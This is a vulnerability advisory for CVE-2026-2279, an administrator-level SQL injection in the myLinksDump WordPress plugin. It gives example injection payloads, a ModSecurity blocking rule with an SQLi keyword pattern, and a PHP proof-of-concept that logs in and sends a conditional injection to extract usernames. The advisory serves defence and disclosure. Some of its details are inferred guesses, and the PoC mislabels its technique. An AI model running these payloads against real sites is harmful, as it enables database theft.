Atomic Edge analysis of CVE-2026-2279 (metadata-based):
The myLinksDump WordPress plugin contains an authenticated SQL injection vulnerability in all versions up to and including 1.6. This vulnerability allows attackers with administrator-level privileges to inject malicious SQL queries through the ‘sort_by’ and ‘sort_order’ parameters. The CVSS 7.2 score reflects the high impact on confidentiality, integrity, and availability, though exploitation requires administrative access.
Atomic Edge research identifies the root cause as improper neutralization of user-supplied input before inclusion in SQL commands (CWE-89). The vulnerability description confirms insufficient escaping and lack of prepared statements. Without source code, we infer the plugin likely constructs SQL queries by directly concatenating user-controlled ‘sort_by’ and ‘sort_order’ parameters into ORDER BY clauses or similar query fragments. This inference aligns with common WordPress plugin patterns where sorting parameters receive less security scrutiny than WHERE clause values.
Exploitation requires sending authenticated requests to a WordPress administrative endpoint, likely an AJAX handler or admin page specific to the myLinksDump plugin. Attackers would craft malicious payloads in the ‘sort_by’ or ‘sort_order’ parameters to perform UNION-based or time-based blind SQL injection. Example payloads might include ‘CASE WHEN (SELECT 1 FROM wp_users WHERE ID=1)=1 THEN id ELSE title END’ for conditional logic or ‘id; SELECT SLEEP(5)–‘ for time-based extraction.
Remediation requires implementing proper input validation and parameterized queries. The plugin should validate ‘sort_by’ and ‘sort_order’ against a whitelist of allowed column names and sort directions (ASC/DESC). Alternatively, the plugin should use WordPress $wpdb->prepare() method with placeholders for all user-supplied SQL fragments. Since no patched version exists, site administrators must remove the plugin or implement virtual patching.
Successful exploitation enables complete database compromise. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), authentication cookies, plugin-specific data, and potentially other database contents. The administrative requirement limits immediate risk, but compromised administrator accounts or insider threats could leverage this for persistent backdoor installation or lateral movement within the database.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2279 (metadata-based)
# This rule blocks SQL injection attempts via the myLinksDump plugin's AJAX endpoint
# Targets the specific 'sort_by' and 'sort_order' parameters described in the CVE
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20262279,phase:2,deny,status:403,chain,msg:'CVE-2026-2279 SQL Injection via myLinksDump plugin AJAX',severity:'CRITICAL',tag:'CVE-2026-2279',tag:'WordPress',tag:'myLinksDump',tag:'SQLi'"
SecRule ARGS_POST:action "@rx ^(mylinksdump|ml_dump|links_dump)"
"chain,t:none"
SecRule ARGS_POST:sort_by|ARGS_POST:sort_order "@rx (?i)(union|select|case when|sleep(|benchmark(|pg_sleep|waitfor delay|b(and|or)s+[dw'"]+[=<>]|--|#|/*|*/|@@version|database()|user()|schema()|information_schema)"
"t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2279 - myLinksDump <= 1.6 - Authenticated (Administrator+) SQL Injection via 'sort_by' and 'sort_order' Parameters
<?php
/**
* Proof of Concept for CVE-2026-2279
* ASSUMPTIONS:
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php (common WordPress AJAX handler)
* 2. The AJAX action parameter contains 'mylinksdump' based on plugin slug
* 3. The 'sort_by' and 'sort_order' parameters are passed via POST
* 4. Administrator credentials are known (required for exploitation)
*/
$target_url = 'https://vulnerable-site.com';
$username = 'admin';
$password = 'password';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
// Verify login success by checking for admin dashboard elements
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Construct SQL injection payload
// Time-based blind injection to extract first character of first username
$payload = "CASE WHEN (ASCII(SUBSTRING((SELECT user_login FROM wp_users LIMIT 1),1,1)) > 64) THEN id ELSE title END";
// Send exploit request to AJAX endpoint
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'mylinksdump_action', // Inferred from plugin slug
'sort_by' => $payload,
'sort_order' => 'ASC',
'nonce' => 'dummy_nonce' // May be required but often bypassed in vulnerable code
]));
$exploit_response = curl_exec($ch);
curl_close($ch);
// Analyze response for injection success
if (strpos($exploit_response, 'error') !== false) {
echo "Potential SQL injection successful. Response indicates query manipulation.n";
echo "Full response available for further analysis.n";
} else {
echo "Injection attempt completed. Manual response analysis required.n";
}
// Clean up
@unlink('cookies.txt');
?>
